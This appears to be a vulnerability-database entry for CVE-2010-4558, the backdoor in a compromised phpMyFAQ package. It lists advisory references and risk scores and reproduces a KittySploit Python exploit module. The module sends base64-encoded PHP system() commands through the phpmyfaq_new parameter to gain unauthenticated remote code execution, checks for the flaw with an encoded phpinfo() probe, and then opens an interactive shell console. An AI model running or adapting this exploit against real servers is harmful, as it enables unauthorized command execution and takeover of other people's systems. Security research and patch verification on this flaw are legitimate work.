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phpMyFAQ - Compromised Package Backdoor RCE (CVE-2010-4558)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
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Unauthenticated RCE in phpMyFAQ via phpmyfaq_new parameter backdoor.

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cve
CVE
CVE-2010-4558
17 Dec 201018:00
–cve
cvelist
Cvelist
CVE-2010-4558
17 Dec 201018:00
–cvelist
euvd
EUVD
EUVD-2010-4524
7 Oct 202500:30
–euvd
kittysploit
KittySploit
phpMyFAQ - Compromised Package Backdoor Detection (CVE-2010-4558)
10 Aug 202606:19
–kittysploit
mend
Mend
CVE-2010-4558
17 Dec 201018:00
–mend
nvd
NVD
CVE-2010-4558
17 Dec 201019:00
–nvd
openvas
OpenVAS
phpMyFAQ Backdoor Unauthorized Access Vulnerability
20 Dec 201000:00
–openvas
openvas
OpenVAS
phpMyFAQ Backdoor Unauthorized Access Vulnerability
20 Dec 201000:00
–openvas
prion
Prion
Code injection
17 Dec 201019:00
–prion
ptsecurity
Positive Technologies
PT-2010-5538
17 Dec 201000:00
–ptsecurity
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""phpMyFAQ backdoor RCE (CVE-2010-4558)."""

import base64

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'phpMyFAQ - Compromised Package Backdoor RCE (CVE-2010-4558)',
        'description': (
            'Exploits CVE-2010-4558 by sending base64 PHP via phpmyfaq_new parameter.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2010-4558'],
        'platform': Platform.PHP,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2010-4558'],
        'tags': ['phpmyfaq', 'backdoor', 'rce', 'unauth', 'cve-2010-4558'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2010_4558_detect'],
            },
        },
    }

    base_path = OptString('', 'phpMyFAQ base path', required=False)

    def execute(self, cmd: str) -> str:
        base = str(self.base_path or '').rstrip('/')
        safe = str(cmd).replace("'", "\\'")
        code = f"system('{safe}');"
        enc = base64.b64encode(code.encode()).decode()
        path = f'{base}/index.php?phpmyfaq_new={enc}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def handler_execute(self):
        base = str(self.base_path or '').rstrip('/')
        path = f'{base}/index.php?phpmyfaq_new=cGhwaW5mbygpOwo='
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        if '<title>phpinfo' not in body:
            print_error('Target does not appear vulnerable to CVE-2010-4558')
            return False
        print_success('phpMyFAQ backdoor confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()

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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01437
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